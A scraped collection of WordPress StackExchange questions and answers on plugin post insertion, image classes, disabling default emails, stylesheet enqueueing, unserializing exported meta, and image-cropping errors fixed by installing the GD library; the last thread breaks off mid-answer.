| I'm realizing a sort of "page" inside admin area to insert post manually without the default method. This is only the begin...
Anyway, after firing Insert button of the form, the article is inserted, but i get a big long error: Fatal error: Uncaught Error: Call to undefined function ....
Here is the code:
```
<?php
/*
Plugin Name: TEST Importer
Plugin URI:
Description: No description.
Text Domain:
Author: The author
Version: 1.0
Author URI: http://www.example.net/
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
add_action( 'admin_menu', 'my_plugin_menu' );
function my_plugin_menu() {
add_menu_page(
'Importer',
'IMPORTER',
'manage_options',
'importer',
'display_content', //function
'dashicons-video-alt3',
50
);
}
add_action( 'admin_enqueue_scripts', 'register_importer_styles' );
function register_importer_styles() {
wp_enqueue_style( 'importer', plugins_url('importer.css', __FILE__) );
wp_enqueue_script( 'importer', plugins_url('importer.js', __FILE__) );
}
if (isset($_POST['insert'])) {
$title = $_POST['data'];
/*require_once( ABSPATH . 'wp-load.php' );*/
$my_post = array(
'post_title' => $title,
'post_content' => 'content here',
'post_status' => 'draft',
'post_author' => 1,
);
wp_insert_post( $my_post );
/*if ($post_id) {
// insert post meta
add_post_meta($post_id, 'duration', $seconds);
add_post_meta($post_id, 'quality', $is_hd);
}*/
}
add_action( 'admin_head', 'my_custom_admin_head' );
function my_custom_admin_head() { ?>
<script type="text/javascript">
//Some javascript code...
</script>;
<?php }
function display_content() { ?>
<div id="main_importer_area">
<form action="<?php echo admin_url('admin.php?page=importer'); ?>" method="post">
<input id="jx_text" type="text" name="data" >
<input id="ins_btn" type="submit" value="Insert" name="insert">
</form>
</div>
<?php } ?>
```
I hope somebody can help me... thanks a lot!
```
Fatal error: Uncaught Error: Call to undefined function is_user_logged_in() in /home/***/public_html/wp-includes/post.php:2191
Stack trace:
#0 /home/***/public_html/wp-includes/post.php(6008): _count_posts_cache_key('post', 'readable')
#1 /home/***/public_html/wp-includes/class-wp-hook.php(286): _transition_post_status('draft', 'new', Object(WP_Post))
#2 /home/***/public_html/wp-includes/class-wp-hook.php(310): WP_Hook->apply_filters('', Array)
#3 /home/***/public_html/wp-includes/plugin.php(453): WP_Hook->do_action(Array)
#4 /home/***/public_html/wp-includes/post.php(4036): do_action('transition_post...', 'draft', 'new', Object(WP_Post))
#5 /home/***/public_html/wp-includes/post.php(3496): wp_transition_post_status('draft', 'new', Object(WP_Post))
#6 /home/***/public_html/wp-content/plugins/importer/importer.php(45): wp_insert_post(Array)
#7 /home/***/public_html/wp-settings.php(305): include_once('/home/yo.../...')
#8 /home/***/public_html/wp-config.php(89): require_o in /home/***/public_html/wp-includes/post.php on line 2191
``` | So If I understand correctly you are creating a custom import plugin to wordpress outside the normal wordpress scope.
Therefore you don't have access to the functions inside `.pluggable.php` like `is_user_logged_in` you can redefine them in your plugin or you can just use
```
require_once( ABSPATH . "wp-includes/pluggable.php" );
```
You will also not be able to use wp\_insert\_post without
```
require_once( ABSPATH . "wp-includes/wp-load.php" );
```
loading the WordPress environment in your naked PHP is most often bad practice.
I would recommend loading your plugin within the WordPress environment. You can do this by rendering your form with a shortcode or a custom template than all these functions will be available to you. |
302,130 | <p>Currently by default image have similar classes</p>
<pre><code><img class="size-full wp-image-8996" src="https://nepaltimes.net/wp-content/uploads/2018/04/31043884_1792179470828697_8330507756888915968_n.jpg">
</code></pre>
<p><strong>What i am trying here to add a class as img-fluid to all the attachments in posts not the thumbnails.</strong></p>
<pre><code><img class="img-fluid size-full wp-image-8996" src="https://nepaltimes.net/wp-content/uploads/2018/04/31043884_1792179470828697_8330507756888915968_n.jpg">
</code></pre>
<p>How could it be done?<br>
Any Idea will be appreciated!
Please help me</p>
| [
{
"answer_id": 302172,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 3,
"selected": true,
"text": "<p>You can use the filter <a href=\"https://developer.wordpress.org/reference/hooks/get_image_tag_class/\" rel=\"nofollow noreferrer\"><code>get_image_tag_class</code></a> which exists exactly to do what you want:</p>\n\n<pre><code>add_filter('get_image_tag_class','wpse302130_add_image_class');\n\nfunction wpse302130_add_image_class ($class){\n $class .= ' img-fluid';\n return $class;\n }\n</code></pre>\n"
},
{
"answer_id": 302173,
"author": "Community",
"author_id": -1,
"author_profile": "https://wordpress.stackexchange.com/users/-1",
"pm_score": 1,
"selected": false,
"text": "<p>cjbj's answer seems more better but i am still leaving this for reference that we can also do these ways.</p>\n\n<p>There are 3 way.</p>\n\n<ol>\n<li>Solve it in frontend(with Javascript)</li>\n<li>Solve it in backend(with PHP)</li>\n<li>Solve it manually</li>\n</ol>\n\n<p>First one, you run javascript to add class like:</p>\n\n<p>ref.: <a href=\"https://www.w3schools.com/howto/howto_js_add_class.asp\" rel=\"nofollow noreferrer\">w3school</a></p>\n\n<pre><code>function myFunction() {\n var element = document.getElementById(\"myDIV\");\n element.classList.add(\"mystyle\");\n} \n</code></pre>\n\n<p>while you loop through all the img tags.</p>\n\n<p>Second one, you have to parse post contents with PHP DOM and do the same thing like Javascript.</p>\n\n<p>Third one, you edit the post with text and add your class manually.</p>\n"
},
{
"answer_id": 377206,
"author": "Benjamin Vaughan",
"author_id": 183902,
"author_profile": "https://wordpress.stackexchange.com/users/183902",
"pm_score": 0,
"selected": false,
"text": "<p>These above solutions are great but for an incredibly simple fix for this specific issue. I've added the CSS for img-fluid onto the standard classes that wordpress adds to it's images:</p>\n<pre><code>.size-thumbnail, .size-medium, .size-large, .size-full {\n max-width: 100%;\n height: auto;\n}\n</code></pre>\n<p>This may not be as elegant as the above solutions but performance wise it's just a little chunk of CSS.</p>\n"
}
]
| 2018/04/28 | [
"https://wordpress.stackexchange.com/questions/302130",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/140003/"
]
| Currently by default image have similar classes
```
<img class="size-full wp-image-8996" src="https://nepaltimes.net/wp-content/uploads/2018/04/31043884_1792179470828697_8330507756888915968_n.jpg">
```
**What i am trying here to add a class as img-fluid to all the attachments in posts not the thumbnails.**
```
<img class="img-fluid size-full wp-image-8996" src="https://nepaltimes.net/wp-content/uploads/2018/04/31043884_1792179470828697_8330507756888915968_n.jpg">
```
How could it be done?
Any Idea will be appreciated!
Please help me | You can use the filter [`get_image_tag_class`](https://developer.wordpress.org/reference/hooks/get_image_tag_class/) which exists exactly to do what you want:
```
add_filter('get_image_tag_class','wpse302130_add_image_class');
function wpse302130_add_image_class ($class){
$class .= ' img-fluid';
return $class;
}
``` |
302,176 | <p>I want to modularly disable emails sent out by WordPress so I can replace them with my own custom emails when necessary.</p>
<p>I tried googling for a list of filter hooks, but couldn't find anything as comprehensive as I would like. I found these two so far:</p>
<pre><code>/**
* Disable default WordPress emails.
*/
add_filter( 'send_password_change_email', '__return_false' );
add_filter( 'send_email_change_email', '__return_false' );
</code></pre>
<p>Is there a resource or a list of all filter hooks that WordPress uses to send emails?</p>
<h2>Update</h2>
<p>Another option, as mentioned in <a href="https://wordpress.stackexchange.com/a/302193/22588">kirillrocks's answer</a> is to completely disable the <code>wp_mail()</code> function. However, this is undesirable for my use case as it disables ALL emails. For my use case, I would like to disable all mails individually, so I can later 'overwrite' them with my own emails, but still use the <code>wp_mail()</code> function to send them.</p>
| [
{
"answer_id": 302193,
"author": "kirillrocks",
"author_id": 111056,
"author_profile": "https://wordpress.stackexchange.com/users/111056",
"pm_score": 4,
"selected": false,
"text": "<p><strong>Option 1</strong>: Remove the 'to' argument from <code>wp_mail</code> function in WordPress, it will keep your system running without sending any default WordPress emails.</p>\n\n<pre><code>add_filter('wp_mail','disabling_emails', 10,1);\nfunction disabling_emails( $args ){\n unset ( $args['to'] );\n return $args;\n}\n</code></pre>\n\n<p>The <code>wp_mail</code> is a wrapper for the <code>phpmailer</code> class and it will not send any emails if there is no recipient.</p>\n\n<p><strong>Option 2:</strong> Hook to the phpmailer class directly and <code>ClearAllRecipients</code> from there</p>\n\n<pre><code>function my_action( $phpmailer ) {\n $phpmailer->ClearAllRecipients();\n}\nadd_action( 'phpmailer_init', 'my_action' );\n</code></pre>\n\n<p><strong>Option 3</strong>: Keep using <code>wp_mail</code> for your own needs but disable for everything else.</p>\n\n<pre><code>add_filter('wp_mail','disabling_emails', 10,1);\nfunction disabling_emails( $args ){\n if ( ! $_GET['allow_wp_mail'] ) {\n unset ( $args['to'] );\n }\n return $args;\n}\n</code></pre>\n\n<p>and when you are calling <code>wp_mail</code> use it like this:</p>\n\n<pre><code>$_GET['allow_wp_mail'] = true;\nwp_mail( $to, $subject, $message, $headers );\nunset ( $_GET['allow_wp_mail'] ); // optional\n</code></pre>\n\n<p><a href=\"https://react2wp.com/wordpress-disable-email-notifications-pragmatically-in-code-fix/\" rel=\"noreferrer\">https://react2wp.com/wordpress-disable-email-notifications-pragmatically-in-code-fix/</a></p>\n\n<p>You are welcome!</p>\n"
},
{
"answer_id": 302230,
"author": "user141080",
"author_id": 141080,
"author_profile": "https://wordpress.stackexchange.com/users/141080",
"pm_score": 1,
"selected": false,
"text": "<p>to change the content of the \"change password\" email and the \"change email\" email, you can use the filter <a href=\"https://developer.wordpress.org/reference/hooks/password_change_email/\" rel=\"nofollow noreferrer\">\"password_change_email\"</a> and <a href=\"https://developer.wordpress.org/reference/hooks/email_change_email/\" rel=\"nofollow noreferrer\">\"email_change_email\"</a>.</p>\n\n<p>An example for the \"password_change_email\" filter:</p>\n\n<pre><code>function my_change_email($pass_change_email, $user, $userdata )\n{ \n $pass_change_email['message'] = \"Hello this is my email content.\";\n\n return $pass_change_email;\n}\n\n\nadd_filter( 'password_change_email', 'my_change_email' );\n</code></pre>\n"
}
]
| 2018/04/28 | [
"https://wordpress.stackexchange.com/questions/302176",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/22588/"
]
| I want to modularly disable emails sent out by WordPress so I can replace them with my own custom emails when necessary.
I tried googling for a list of filter hooks, but couldn't find anything as comprehensive as I would like. I found these two so far:
```
/**
* Disable default WordPress emails.
*/
add_filter( 'send_password_change_email', '__return_false' );
add_filter( 'send_email_change_email', '__return_false' );
```
Is there a resource or a list of all filter hooks that WordPress uses to send emails?
Update
------
Another option, as mentioned in [kirillrocks's answer](https://wordpress.stackexchange.com/a/302193/22588) is to completely disable the `wp_mail()` function. However, this is undesirable for my use case as it disables ALL emails. For my use case, I would like to disable all mails individually, so I can later 'overwrite' them with my own emails, but still use the `wp_mail()` function to send them. | **Option 1**: Remove the 'to' argument from `wp_mail` function in WordPress, it will keep your system running without sending any default WordPress emails.
```
add_filter('wp_mail','disabling_emails', 10,1);
function disabling_emails( $args ){
unset ( $args['to'] );
return $args;
}
```
The `wp_mail` is a wrapper for the `phpmailer` class and it will not send any emails if there is no recipient.
**Option 2:** Hook to the phpmailer class directly and `ClearAllRecipients` from there
```
function my_action( $phpmailer ) {
$phpmailer->ClearAllRecipients();
}
add_action( 'phpmailer_init', 'my_action' );
```
**Option 3**: Keep using `wp_mail` for your own needs but disable for everything else.
```
add_filter('wp_mail','disabling_emails', 10,1);
function disabling_emails( $args ){
if ( ! $_GET['allow_wp_mail'] ) {
unset ( $args['to'] );
}
return $args;
}
```
and when you are calling `wp_mail` use it like this:
```
$_GET['allow_wp_mail'] = true;
wp_mail( $to, $subject, $message, $headers );
unset ( $_GET['allow_wp_mail'] ); // optional
```
<https://react2wp.com/wordpress-disable-email-notifications-pragmatically-in-code-fix/>
You are welcome! |
302,213 | <p>I'm only just learning WP theme development so this may be a very stupid question, but I have noticed there are different ways to link to the main stylesheet from the <code>index.php</code>:</p>
<pre><code><?php bloginfo('stylesheet_url');?>
<?php echo get_stylesheet_uri(); ?>
</code></pre>
<p><code>Register</code> and <code>enqueue</code> styles via a function and <code>add_action</code> hook in <code>functions.php</code>.</p>
<p>These are the ones I have come across so far.</p>
<p>What is the difference between them? They seem to do the same thing to me but I have read that registering and enqueueing styles via <code>functions.php</code> is the preferred way. Why?</p>
| [
{
"answer_id": 302221,
"author": "Manyang",
"author_id": 94471,
"author_profile": "https://wordpress.stackexchange.com/users/94471",
"pm_score": -1,
"selected": false,
"text": "<p>I think some functions just different level in chain. Typically the deeper function is more flexible. Like as <code><?php bloginfo('stylesheet_url');?></code> , not use echo for display. You cant use it in </p>\n\n<pre><code><?php \n$text_html = '<a href=\"'.bloginfo('stylesheet_url').'\">Style Url</a>';\nreturn $text_html;\n?>\n</code></pre>\n\n<p>But you can use</p>\n\n<pre><code><?php \n $text_html = '<a href=\"'.get_stylesheet_uri().'\">Style Url</a>';\n return $text_html;\n ?>\n</code></pre>\n\n<p>another case you can use to show multiple options using </p>\n\n<pre><code>function get_info_my_web($option){\n bloginfo($options);\n}\n</code></pre>\n\n<p>depending on the user input value, but you cant do that using <code>get_stylesheet_uri()</code></p>\n\n<p>and for enqueue, you make another plugin can prelude your script/style, without change html tag.</p>\n"
},
{
"answer_id": 302223,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 3,
"selected": true,
"text": "<p>Enqueueing via your <code>functions.php</code> is by far preferable, because it allows WordPress to keep track of which styles are loaded and in which order. This matters, because when css statement are equivalent, the one that is loaded last will be applied to the page.</p>\n\n<p>This may not matter too much when you are developing a simple theme all by yourself (as you're likely to do as a beginner), but once you want something more complex you'll see the benefits. For instance when you want to reuse your theme for a second site, you'll want to build a child theme to store the changes in. At that point you need the enqueuing system to control the order in which the style sheets from parent and child theme are loaded.</p>\n\n<p>Also, when you want to load style sheets you got elsewhere (like font icons), the enqueuing system makes sure you don't run into conflicts with a plugin that might be loading the same stylesheet.</p>\n"
},
{
"answer_id": 302226,
"author": "Pravayest Pravayest",
"author_id": 103556,
"author_profile": "https://wordpress.stackexchange.com/users/103556",
"pm_score": 0,
"selected": false,
"text": "<p>Rather then loading the stylesheet in your header.php file, you should load it in using wp_enqueue_style. In order to load your main stylesheet, you can enqueue it in functions.php</p>\n\n<p>To enqueue style.css</p>\n\n<pre><code>wp_enqueue_style( 'style', get_stylesheet_uri() );\nThis will look for a stylesheet named “style” and load it.\n</code></pre>\n\n<p>The basic function for enqueuing a style is:</p>\n\n<pre><code>wp_enqueue_style( $handle, $src, $deps, $ver, $media );\n</code></pre>\n\n<p>You can include these parameters:</p>\n\n<p>$handle is simply the name of the stylesheet.</p>\n\n<p>$src is where it is located. The rest of the parameters are optional.</p>\n\n<p>$deps refers to whether or not this stylesheet is dependent on another stylesheet. If this is set, this stylesheet will not be loaded unless its dependent stylesheet is loaded first.</p>\n\n<p>$ver sets the version number.</p>\n\n<p>$media can specify which type of media to load this stylesheet in, such as ‘all’, ‘screen’, ‘print’ or ‘handheld.’</p>\n\n<p>So if you wanted to load a stylesheet named “slider.css” in a folder named “CSS” in you theme’s root directory, you would use:</p>\n\n<pre><code>wp_enqueue_style( 'slider', get_template_directory_uri() . '/css/slider.css',false,'1.1','all');\n</code></pre>\n"
}
]
| 2018/04/29 | [
"https://wordpress.stackexchange.com/questions/302213",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142694/"
]
| I'm only just learning WP theme development so this may be a very stupid question, but I have noticed there are different ways to link to the main stylesheet from the `index.php`:
```
<?php bloginfo('stylesheet_url');?>
<?php echo get_stylesheet_uri(); ?>
```
`Register` and `enqueue` styles via a function and `add_action` hook in `functions.php`.
These are the ones I have come across so far.
What is the difference between them? They seem to do the same thing to me but I have read that registering and enqueueing styles via `functions.php` is the preferred way. Why? | Enqueueing via your `functions.php` is by far preferable, because it allows WordPress to keep track of which styles are loaded and in which order. This matters, because when css statement are equivalent, the one that is loaded last will be applied to the page.
This may not matter too much when you are developing a simple theme all by yourself (as you're likely to do as a beginner), but once you want something more complex you'll see the benefits. For instance when you want to reuse your theme for a second site, you'll want to build a child theme to store the changes in. At that point you need the enqueuing system to control the order in which the style sheets from parent and child theme are loaded.
Also, when you want to load style sheets you got elsewhere (like font icons), the enqueuing system makes sure you don't run into conflicts with a plugin that might be loading the same stylesheet. |
302,235 | <p>I'm exporting the content of one plugin to another much more robust plugin. In the data I export, there are fields that come with keys. There is a way to export each one independently (in a column each):</p>
<p>example:</p>
<p>Address | Latitude | Longitude | Email | ....</p>
<p><a href="https://i.stack.imgur.com/GKM8T.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/GKM8T.jpg" alt="Image data"></a></p>
<p><strong>UPDATE</strong></p>
<p>Thanks to the suggestion to use "serialized", now to export the data I am using the plugin "<a href="http://www.wpallimport.com/export/" rel="nofollow noreferrer">All Export</a>" which allows me to embed functions for custom fields.</p>
<p>I have a question about what the name of the data is, in the custom field option it is _ait-dir-item, but with that name it does not work.</p>
<p><a href="https://i.stack.imgur.com/n8Tfk.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/n8Tfk.png" alt="enter image description here"></a></p>
<p>If I do it manually taking the data as $mydata, if it works:</p>
<pre><code>function aaa() {
$mydata = 'a:52:{s:7:"address";s:59:"San José Costa Rica 100mts al Sur de Walmart en Guadalupe.";s:11:"gpsLatitude";s:9:"9.9393783";s:12:"gpsLongitude";s:18:"-84.05499370000001";s:14:"showStreetview";a:1:{s:6:"enable";s:6:"enable";}s:18:"streetViewLatitude";s:17:"9.942617316557271";s:19:"streetViewLongitude";s:18:"-84.06036884686585";s:17:"streetViewHeading";s:1:"0";s:15:"streetViewPitch";s:1:"0";s:14:"streetViewZoom";s:1:"0";s:9:"telephone";s:9:"2253-6563";s:5:"email";s:0:"";s:3:"web";s:0:"";s:11:"hoursMonday";s:15:"8:00am - 6:00pm";s:12:"hoursTuesday";s:15:"8:00am - 5:00pm";s:14:"hoursWednesday";s:7:"Cerrado";s:18:"alternativeContent";s:0:"";s:10:"socialImg1";s:0:"";s:11:"socialLink1";s:23:"http://www.facebook.com";s:10:"socialImg2";s:0:"";s:11:"socialLink2";s:22:"http://www.twitter.com";s:10:"socialImg3";s:0:"";s:11:"socialLink3";s:22:"http://plus.google.com";s:10:"socialImg4";s:0:"";s:11:"socialLink4";s:24:"http://www.instagram.com";s:10:"socialImg5";s:0:"";s:11:"socialLink5";s:24:"http://www.pinterest.com";s:10:"socialImg6";s:0:"";s:11:"socialLink6";s:0:"";s:12:"specialTitle";s:0:"";s:14:"specialContent";s:0:"";s:12:"specialImage";s:0:"";s:12:"specialPrice";s:0:"";s:8:"gallery1";s:0:"";s:8:"gallery2";s:0:"";s:8:"gallery3";s:0:"";s:8:"gallery4";s:0:"";s:8:"gallery5";s:0:"";s:8:"gallery6";s:0:"";s:8:"gallery7";s:0:"";s:8:"gallery8";s:0:"";s:8:"gallery9";s:0:"";s:9:"gallery10";s:0:"";s:9:"gallery11";s:0:"";s:9:"gallery12";s:0:"";s:9:"gallery13";s:0:"";s:9:"gallery14";s:0:"";s:9:"gallery15";s:0:"";s:9:"gallery16";s:0:"";s:9:"gallery17";s:0:"";s:9:"gallery18";s:0:"";s:9:"gallery19";s:0:"";s:9:"gallery20";s:0:"";}';
$mydata = unserialize($mydata);
echo $mydata['gpsLongitude'];
</code></pre>
| [
{
"answer_id": 302237,
"author": "David Sword",
"author_id": 132362,
"author_profile": "https://wordpress.stackexchange.com/users/132362",
"pm_score": 1,
"selected": false,
"text": "<p>if you're using PHP to handle the export or the import, you can parse the <a href=\"http://php.net/manual/en/function.serialize.php\" rel=\"nofollow noreferrer\">serialized</a> meta values with <a href=\"http://php.net/manual/en/function.unserialize.php\" rel=\"nofollow noreferrer\"><code>unserialize()</code></a></p>\n\n<pre><code>$wp_meta_value_array = unserialize($wp_meta_value);\n\n// print_r($wp_meta_value_array);\n// will output\n// 'address' => '...'\n// 'gpslat..' => '...'\n</code></pre>\n\n<p>So whatever your import is, you can then do</p>\n\n<pre><code>$new_address = $wp_meta_value_array['address'];\n</code></pre>\n"
},
{
"answer_id": 302257,
"author": "AlbertB",
"author_id": 142724,
"author_profile": "https://wordpress.stackexchange.com/users/142724",
"pm_score": 1,
"selected": true,
"text": "<p><strong>For plugin \"All Export\":</strong> Create the necessary functions and give it to save and then in each created field add the name of the function corresponding to the necessary field and the variable containing the data is <code>$value</code>, example:</p>\n\n<pre><code>function address($value){\n$data = maybe_unserialize($value);\n$data = $data[address];\nreturn $data;\n}\n\nfunction latitud($value){\n$data = maybe_unserialize($value);\n$data = $data[gpsLatitude];\nreturn $data;\n}\n</code></pre>\n\n<p>With this you will get the value of each field.</p>\n"
}
]
| 2018/04/29 | [
"https://wordpress.stackexchange.com/questions/302235",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/140326/"
]
| I'm exporting the content of one plugin to another much more robust plugin. In the data I export, there are fields that come with keys. There is a way to export each one independently (in a column each):
example:
Address | Latitude | Longitude | Email | ....
[](https://i.stack.imgur.com/GKM8T.jpg)
**UPDATE**
Thanks to the suggestion to use "serialized", now to export the data I am using the plugin "[All Export](http://www.wpallimport.com/export/)" which allows me to embed functions for custom fields.
I have a question about what the name of the data is, in the custom field option it is \_ait-dir-item, but with that name it does not work.
[](https://i.stack.imgur.com/n8Tfk.png)
If I do it manually taking the data as $mydata, if it works:
```
function aaa() {
$mydata = 'a:52:{s:7:"address";s:59:"San José Costa Rica 100mts al Sur de Walmart en Guadalupe.";s:11:"gpsLatitude";s:9:"9.9393783";s:12:"gpsLongitude";s:18:"-84.05499370000001";s:14:"showStreetview";a:1:{s:6:"enable";s:6:"enable";}s:18:"streetViewLatitude";s:17:"9.942617316557271";s:19:"streetViewLongitude";s:18:"-84.06036884686585";s:17:"streetViewHeading";s:1:"0";s:15:"streetViewPitch";s:1:"0";s:14:"streetViewZoom";s:1:"0";s:9:"telephone";s:9:"2253-6563";s:5:"email";s:0:"";s:3:"web";s:0:"";s:11:"hoursMonday";s:15:"8:00am - 6:00pm";s:12:"hoursTuesday";s:15:"8:00am - 5:00pm";s:14:"hoursWednesday";s:7:"Cerrado";s:18:"alternativeContent";s:0:"";s:10:"socialImg1";s:0:"";s:11:"socialLink1";s:23:"http://www.facebook.com";s:10:"socialImg2";s:0:"";s:11:"socialLink2";s:22:"http://www.twitter.com";s:10:"socialImg3";s:0:"";s:11:"socialLink3";s:22:"http://plus.google.com";s:10:"socialImg4";s:0:"";s:11:"socialLink4";s:24:"http://www.instagram.com";s:10:"socialImg5";s:0:"";s:11:"socialLink5";s:24:"http://www.pinterest.com";s:10:"socialImg6";s:0:"";s:11:"socialLink6";s:0:"";s:12:"specialTitle";s:0:"";s:14:"specialContent";s:0:"";s:12:"specialImage";s:0:"";s:12:"specialPrice";s:0:"";s:8:"gallery1";s:0:"";s:8:"gallery2";s:0:"";s:8:"gallery3";s:0:"";s:8:"gallery4";s:0:"";s:8:"gallery5";s:0:"";s:8:"gallery6";s:0:"";s:8:"gallery7";s:0:"";s:8:"gallery8";s:0:"";s:8:"gallery9";s:0:"";s:9:"gallery10";s:0:"";s:9:"gallery11";s:0:"";s:9:"gallery12";s:0:"";s:9:"gallery13";s:0:"";s:9:"gallery14";s:0:"";s:9:"gallery15";s:0:"";s:9:"gallery16";s:0:"";s:9:"gallery17";s:0:"";s:9:"gallery18";s:0:"";s:9:"gallery19";s:0:"";s:9:"gallery20";s:0:"";}';
$mydata = unserialize($mydata);
echo $mydata['gpsLongitude'];
``` | **For plugin "All Export":** Create the necessary functions and give it to save and then in each created field add the name of the function corresponding to the necessary field and the variable containing the data is `$value`, example:
```
function address($value){
$data = maybe_unserialize($value);
$data = $data[address];
return $data;
}
function latitud($value){
$data = maybe_unserialize($value);
$data = $data[gpsLatitude];
return $data;
}
```
With this you will get the value of each field. |
302,249 | <p>I want hide images on excerpts only on the homepage of my blog and only when the screen resolution is under 480px. Is it possible to do this ? </p>
<p>I know I can set an CSS propriety for the width but I don't know how to specifiy only for me homepage, maybe with a function ?</p>
<pre><code>@media only screen and (max-width : 320px) {
}
</code></pre>
<p>Thank you ! </p>
| [
{
"answer_id": 302237,
"author": "David Sword",
"author_id": 132362,
"author_profile": "https://wordpress.stackexchange.com/users/132362",
"pm_score": 1,
"selected": false,
"text": "<p>if you're using PHP to handle the export or the import, you can parse the <a href=\"http://php.net/manual/en/function.serialize.php\" rel=\"nofollow noreferrer\">serialized</a> meta values with <a href=\"http://php.net/manual/en/function.unserialize.php\" rel=\"nofollow noreferrer\"><code>unserialize()</code></a></p>\n\n<pre><code>$wp_meta_value_array = unserialize($wp_meta_value);\n\n// print_r($wp_meta_value_array);\n// will output\n// 'address' => '...'\n// 'gpslat..' => '...'\n</code></pre>\n\n<p>So whatever your import is, you can then do</p>\n\n<pre><code>$new_address = $wp_meta_value_array['address'];\n</code></pre>\n"
},
{
"answer_id": 302257,
"author": "AlbertB",
"author_id": 142724,
"author_profile": "https://wordpress.stackexchange.com/users/142724",
"pm_score": 1,
"selected": true,
"text": "<p><strong>For plugin \"All Export\":</strong> Create the necessary functions and give it to save and then in each created field add the name of the function corresponding to the necessary field and the variable containing the data is <code>$value</code>, example:</p>\n\n<pre><code>function address($value){\n$data = maybe_unserialize($value);\n$data = $data[address];\nreturn $data;\n}\n\nfunction latitud($value){\n$data = maybe_unserialize($value);\n$data = $data[gpsLatitude];\nreturn $data;\n}\n</code></pre>\n\n<p>With this you will get the value of each field.</p>\n"
}
]
| 2018/04/29 | [
"https://wordpress.stackexchange.com/questions/302249",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/131396/"
]
| I want hide images on excerpts only on the homepage of my blog and only when the screen resolution is under 480px. Is it possible to do this ?
I know I can set an CSS propriety for the width but I don't know how to specifiy only for me homepage, maybe with a function ?
```
@media only screen and (max-width : 320px) {
}
```
Thank you ! | **For plugin "All Export":** Create the necessary functions and give it to save and then in each created field add the name of the function corresponding to the necessary field and the variable containing the data is `$value`, example:
```
function address($value){
$data = maybe_unserialize($value);
$data = $data[address];
return $data;
}
function latitud($value){
$data = maybe_unserialize($value);
$data = $data[gpsLatitude];
return $data;
}
```
With this you will get the value of each field. |
302,291 | <p>I am setting the header image in WordPress and when I click on the <code>crop</code> button, it shows me the following error:</p>
<p><code>There has been an error cropping your image.</code></p>
<p><a href="https://i.stack.imgur.com/lh1S8.gif" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lh1S8.gif" alt="enter image description here"></a></p>
| [
{
"answer_id": 302296,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 2,
"selected": false,
"text": "<p>There is too little information to be completely sure, but usually this error occurs when WordPress cannot find the graphic library which should be installed on your server. So you should check with your provider to see if <a href=\"http://php.net/manual/en/book.imagick.php\" rel=\"nofollow noreferrer\">Imagick</a> and/or <a href=\"http://php.net/manual/en/book.image.php\" rel=\"nofollow noreferrer\">GD</a> are installed.</p>\n\n<p>You can also add this little snippet of code in your <code>functions.php</code> file to make sure WordPress looks for both (often it only looks for Imagick):</p>\n\n<pre><code>add_filter ('wp_image_editors', 'wpse303391_change_graphic_editor');\nfunction wpse303391_change_graphic_editor ($array) {\n return array( 'WP_Image_Editor_GD', 'WP_Image_Editor_Imagick' );\n }\n</code></pre>\n\n<p>This snippet will look for GD first and then for Imagick. The latter gives better quality, but uses more memory, which can also lead to server errors.</p>\n"
},
{
"answer_id": 317305,
"author": "Fabrizzio",
"author_id": 152764,
"author_profile": "https://wordpress.stackexchange.com/users/152764",
"pm_score": 2,
"selected": false,
"text": "<p>I solved this installing the next library</p>\n\n<p>sudo apt-get install php5-gd -> for php5</p>\n\n<p>sudo apt-get install php7.0-gd -> for php7</p>\n\n<p>sudo apt-get install php7.2-gd -> for php7.2</p>\n"
},
{
"answer_id": 345833,
"author": "RohuTech",
"author_id": 97546,
"author_profile": "https://wordpress.stackexchange.com/users/97546",
"pm_score": 0,
"selected": false,
"text": "<p>I had encountered the same issue with my blog, after searching for a while found out that it was because <a href=\"https://en.wikipedia.org/wiki/GD_Graphics_Library\" rel=\"nofollow noreferrer\">GD</a> library for <a href=\"https://www.php.net/manual/en/book.image.php\" rel=\"nofollow noreferrer\">PHP</a> which was not installed on the server</p>\n<p>Since my server is hosted on CentOS, to find the GD Library package within CentOS repository</p>\n<pre><code>$ sudo yum list available | grep 'gd'\n</code></pre>\n<p>Identify GD Library package name and install it</p>\n<pre><code>$ sudo yum install php-gd\n</code></pre>\n<p>Restart apache service</p>\n<pre><code>$ sudo service httpd restart\n</code></pre>\n<p>A detailed article that I wrote can be found <a href=\"https://rohutech.com/there-has-been-an-error-cropping-your-image/\" rel=\"nofollow noreferrer\">here</a> with command output screenshots</p>\n"
},
{
"answer_id": 388751,
"author": "Nitin Tomar",
"author_id": 206948,
"author_profile": "https://wordpress.stackexchange.com/users/206948",
"pm_score": 1,
"selected": false,
"text": "<p>I was facing same issue and unable to understand how to resolve this issue by following given ideas on every portals as I am not hardcore programmer so it was not possible for me to understand their tricks but Now I have successfully troubleshooted this image cropping issue and am sharing my trick how it was troubleshooted.</p>\n<p>You just have to open your xampp controller and stop both the services Apache and MySQL and now click on congfig button of Apache and select PHP(PHP.ini), After selecting you will see a config file, find</p>\n<pre><code>;extension=gd\n</code></pre>\n<p>text, Now just remove ; to enable gd services at your system for PHP as by default it comes with commented and save the file and restart both services Apache and MySQL.</p>\n<p>I hope this will help you.</p>\n"
}
]
| 2018/04/30 | [
"https://wordpress.stackexchange.com/questions/302291",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142753/"
]
| I am setting the header image in WordPress and when I click on the `crop` button, it shows me the following error:
`There has been an error cropping your image.`
[](https://i.stack.imgur.com/lh1S8.gif) | There is too little information to be completely sure, but usually this error occurs when WordPress cannot find the graphic library which should be installed on your server. So you should check with your provider to see if [Imagick](http://php.net/manual/en/book.imagick.php) and/or [GD](http://php.net/manual/en/book.image.php) are installed.
You can also add this little snippet of code in your `functions.php` file to make sure WordPress looks for both (often it only looks for Imagick):
```
